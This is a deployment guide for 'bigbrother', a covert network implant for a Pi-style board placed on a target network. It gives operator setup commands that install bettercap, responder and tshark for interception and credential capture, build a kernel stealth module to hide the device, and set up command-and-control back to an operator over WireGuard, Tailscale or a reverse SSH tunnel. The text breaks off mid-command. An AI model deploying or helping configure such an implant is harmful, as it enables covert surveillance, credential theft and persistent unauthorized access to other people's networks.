# Deployment Guide ## Hardware Setup ### Recommended: Orange Pi Zero 3 or Raspberry Pi 4 Connect two network interfaces: - **eth0** or **wlan0** — uplink to target network (gets an IP via DHCP or static) - **eth1** or **wlan1** — passive monitor interface (no IP, promiscuous mode) Single-interface operation is possible but limits passive capture to traffic on the uplink segment only. ### Interface Naming On Debian with `predictable interface names` enabled, interfaces may appear as `enp3s0`, `wlp2s0`, etc. Find yours: ```bash ip link show ``` Set them in `config/bigbrother.yaml`: ```yaml interfaces: uplink: eth0 monitor: eth1 ``` ## First-Time Setup Run on the target host (as root): ```bash git clone bigbrother cd bigbrother sudo bash operator_setup.sh ``` `operator_setup.sh` will: - Install system packages (bettercap, tshark, responder, tcpdump, wireguard-tools) - Set capabilities on required binaries - Build the LKM stealth module (requires kernel headers) - Initialize the SQLite database - Configure Python venv ## Remote Deploy From your operator machine: ```bash bash scripts/deploy.sh root@ [--enable-service] [--no-tools] [--reinstall] ``` Options: - `--enable-service` — Start and enable bigbrother-core as a systemd service after deploy - `--no-tools` — Skip downloading third-party tools (bettercap, responder) from GitHub - `--reinstall` — Force reinstall even if already deployed ## C2 Connectivity ### WireGuard (Recommended) 1. Generate keypair on implant: ```bash wg genkey | tee private.key | wg pubkey > public.key ``` 2. Add peer to your WireGuard server config, then set implant config: ```yaml # config/bigbrother.yaml c2: mode: wireguard server_endpoint: :51820 server_pubkey: allowed_ips: 10.100.0.0/24 ``` ### Tailscale ```bash sudo tailscale up --authkey= ``` Set `c2.mode: tailscale` in config. ### Reverse SSH Tunnel ```yaml c2: mode: reverse_ssh remote_host: remote_user: remote_port: 2222 local_port: 22 ``` ## Net Alerter (Device Presence) Deploy the device presence daemon separately: ```bash cd net_alerter/ ./deploy-daemon.sh root@ ``` Configure Matrix alerts on the target: ```bash cat > /opt/net_alerter/.env <